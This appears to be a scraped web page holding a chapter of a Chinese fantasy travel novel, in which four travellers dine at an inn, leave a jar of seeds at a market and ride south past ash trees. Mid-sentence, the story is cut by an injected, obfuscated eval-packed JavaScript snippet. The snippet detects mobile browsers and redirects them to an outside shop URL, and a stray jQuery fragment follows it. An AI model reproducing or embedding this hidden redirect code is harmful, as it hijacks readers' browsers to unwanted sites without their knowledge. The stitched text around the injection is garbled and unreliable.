客房在二楼，窗户朝南，能看见集市尽头官道延伸出去的方向。官道在暮色里变成一条灰白色的线，笔直地往南延伸，一直延伸到天边青灰色的暮霭里。更远处是山的影子，淡得几乎看不见。
晚饭是客栈灶房端来的。一-大盆萝卜炖羊肉，一摞白面饼，一碟腌蒜。羊肉是集市上现宰的，萝卜是地窖里储的，白面饼是现烙的。四个人围坐在客房的小桌边，窗户开着一条缝，集市的声浪从窗缝里涌进来——人声，马嘶，羊叫，铁匠铺的锤声，饭摊的锅铲声。比白天弱了，但还没有完全停。集市要到深夜才会安静下来。
流栖灯把羊肉夹在饼里卷着吃。羊肉炖得烂，肥的部分炖成了半透明的胶质，瘦的部分一丝一丝的。萝卜吸饱了羊肉汤，咬下去汁水从牙缝里滋出来。她把腌蒜咬了一口，酸和辣同时冲上鼻腔。
“今天那个什么都不卖的老人。”她把嘴里的饼咽下去。“她说她听见我布上的人在说话。”
艾莉西亚放下筷子。“你信吗。”
“不知道。”流栖灯把白麻布从口袋里拿出来摊在桌上。正反两面画满了人。炭笔的线条在油灯光里是暗灰色的，但那些人的样子清清楚楚——老桑妮孙女举起来的手，朵拉靠着灶台的背影，纺织妖精手指末端的绒球，陶窑女人蹲在窑口前取陶器。“但如果她们真的在说话，我觉得她们说的不是坏事。”
“那她们在说什么。”
流栖灯的手指在布面上慢慢移动。绿溪镇的槐树。“她说，她们等了很久。等到了。”哨站的朵拉。“她说，最后一锅粥烧好了。喝粥的人会记得。”荒原上的岩羊。“它说，石头缝里的水是清的。你们也喝了。”封印之地的石柱。“它不说话。它只是站在那里。”妖精林子的纺织妖精。“它说，你身上的东西和我的丝线是同类。”灰树镇的药草铺老人。“她说，沾了灰的草药倒进河里，河水带着它们往南流。”茶园的茶农。“她说，春天是从枝条里抽出来的。”松林里的松茸。“它们不说话。它们就是长着。”渡口的撑船人。“她说，没人过河的时候看水。看够了，就有人来了。”菊坡村的村长。“她说，腌萝卜是酸的，后面是甜的。”苹果园的女人。“她说，空一冬，花又开。”渔村的驼背村长。“她说，离开了会想。”陶窑的女人。“她说，从土里要来的东西，要跟着人走远路。走远了，土才高兴。”
流栖灯把手指停在陶窑那一页。豆青色的罐子，罐身上火焰流过的纹路像青河的水纹。“她们说的都是自己做过的事。不是大事，就是她们每天做的事。等，烧，采，剪，撑，种，腌，晒，捕，烧。但她们做了一辈子。做了一辈子的事，就是她们说的话。”
格蕾塔把窗户推开大了一点。集市的声浪涌进来，铁匠铺最后几锤，饭摊收锅的声音，客栈院子里马匹碰鼻子的响动。她把红栎笼头上新挂的铜铃轻轻摇了一下。铜铃在夜风里响了一声，清脆的，像极小极小的钟。
“南部神殿的主教说过一句话。她说，人在世上做的事，都会留下声音。有的声音大，有的声音小，小的要靠近了才能听见。”她把铜铃挂在窗框上。风一吹铜铃轻轻响。“你今天靠近了。所以听见了。”
流栖灯看着窗框上那只铜铃。铜铃在夜风里微微晃着，锈绿色的斑点在暗金色的铜面上像地图上的岛屿。它以前挂在谁的脖子上或者谁的钥匙上，不知道。现在它挂在窗框上，风替它摇着。
她把白麻布翻到集市这一页。还有一小片空白。她在空白处画了那个什么都不卖的老女人——很老的，头发全白，面前铺着一块空无一物的布。
夜里集市终于安静了。人声散了，牲畜睡了，铁匠铺的炉子封了。客栈院子里的马也不碰鼻子了，一匹一匹站着睡着了。只有风还醒着，从集市这头走到那头，穿过空了的摊棚，吹动收起来的油布角，吹得窗框上的铜铃偶尔响一声。
流栖灯侧躺着，看着窗框上那只铜铃。月光照在铜铃上，锈绿色的斑点在暗金色的底子上沉默着。铜铃被风吹一下响一声。她听着铜铃的声音，忽然想起那个老女人灰白色的眼睛。她在等人。等的人在她的布上，她看不见了，只能等那人自己走过来。
她把手按在白麻布上。布上的人都在。她们不会走丢。她闭上眼睛。铜铃在窗框上又响了一声，然后安静了。
第二天早晨四个人在客栈灶房吃了早饭——小米粥，腌萝卜，煮鸡蛋。鸡蛋是客栈自己养的鸡下的，蛋黄是金红色的，流油。吃完饭她们把马从马厩里牵出来。穗子和隔壁的花马碰了最后一次鼻子。花马用嘴唇轻轻叼了一下穗子的鬃毛小辫子，然后退回去站在隔间里看着穗子走。穗子走出马厩的时候回了一次头。花马还站在那里。
上马之前流栖灯走到集市尽头昨天老女人摆摊的地方。那块地空着，什么也没有。她在地上放了一样东西——从陶窑带出来的豆青色收腰罐子。罐子里装了一把种子，是从种子摊买的那一小袋。麦种，稻种，菜籽，豆种，混在一起。她把罐子放在老女人坐过的位置，然后上马。
阿灰迈出步子。集市在身后慢慢变小，官道在前方笔直地往南延伸。路上的车辙印和马蹄印还是密的，但一起走的人少了——货郎留在集市上补货，农人买了东西往回走，牧人的羊群去了另一个方向。路上又只剩下她们四个。
走出很远之后流栖灯回头看了一眼。集市已经变成天边一小片灰扑扑的影子。那个豆青色的罐子，还有罐子里的种子，留在老女人坐过的位置上。她不知道谁会看到它，谁会把它捡起来，谁会把它带走，谁会把它种下去。但她知道，罐子是陶窑女人从土里要来的。种子是卖种子的老妇人从今年最好的植株上收下来的。罐子和种子会一起等着春天。
穗子的蹄声在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607303|203862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官道上响着。阿灰在前面带路。长腿和红栎并排走着。四匹马的影子在初冬的阳光下被拉得很长很长，投在赭红色的官道上，叠在一起往前移动。
离开集市的第三天，官道上的马蹄印渐渐稀疏了。走长途的人少了。从北边来的流民在集市和沿途的镇子里安顿下来，不再往南走。南边来的人听说封印修好了，也不再往北赶。官道上剩下的，是本来就住在沿途的人——赶集的，走亲戚的，送信的，挑着担子卖针头线脑的货郎。
流栖灯发现路边的树变了。
从北边一路走来，行道树大多是杨树、榆树、槐树，叶子在秋天落得早，初冬只剩下光秃秃的枝条。但越往南走，树叶子落得越晚。有些树甚至还没有完全黄透，枝头上挂着半绿半黄的叶片，在风里晃着犹豫着要不要落。有一种树她叫不出名字，树皮是灰白色的，光滑得像剥了壳的鸡蛋，枝条上挂着一串一串的翅果。翅果干了，褐色的，风一吹哗哗地响，像无数只极小极小的手在同时摇着沙锤。
“这是什么树。”她勒住穗子，伸手从低垂的枝条上摘了一串翅果。
“白蜡树。”艾莉西亚策马走过来，也从枝条上摘了一串。她把翅果举起来对着阳光看——果翅是半透明的褐色，翅脉从果核向边缘辐射，像蜻蜓的翅。“书上说白蜡树的翅果叫‘白蜡狗’，不知道为什么要叫狗。”
流栖灯把那串翅果放在掌心里。风一吹，翅果在掌心里轻轻颤着，像要飞起来。“它像蜻蜓。应该叫白蜡蜻蜓。”
艾莉西亚想了想，把那串翅果放进法术书里夹好。“以后我写书的时候，就叫它白蜡蜻蜓。”
格蕾塔从后面赶上来。红栎笼头上的铜铃在风里叮叮当当地响了一路，声音不脆，被初冬的风磨得柔和了。她在白蜡树下勒住马，伸手摘了一片还挂在枝头的半绿半黄的叶子。叶子边缘已经开始干枯了，卷起来像一只小小的船。她把叶子放在掌心里看了一会儿，然后松手让风把它带走。叶子打着旋落进路边的草窠里。
“南部的白蜡树比这里的高。长在山溪边上，秋天叶子变成金黄-色，不落，挂一冬。等到第二年春天新叶发出来，老叶才掉。”她看着那片落在草窠里的叶子。“主教说，白蜡树的老叶子是替新叶子挡风的。挡一冬，春天新叶长硬-了，老叶才放心落。”
流栖灯从穗子背上翻下来，蹲在路边把那片被格蕾塔放走的叶子捡起来。叶面上覆着一层极薄极细的灰白色粉末，官道上人马走过扬起来的尘土。她用拇指把尘土轻轻蹭掉，露-出底下半绿半黄的叶肉。叶肉还软着，没有完全干透。她把叶子夹进白麻布里。
阿灰在前面等得不耐烦了，打了个响鼻，前蹄在地上刨了刨。玛丽玛丽拍了拍它的脖子。“让它等。它走了一路，等的工夫比走的工夫少。”阿灰耳朵朝后转了转，不刨了，站着，尾巴慢慢甩着。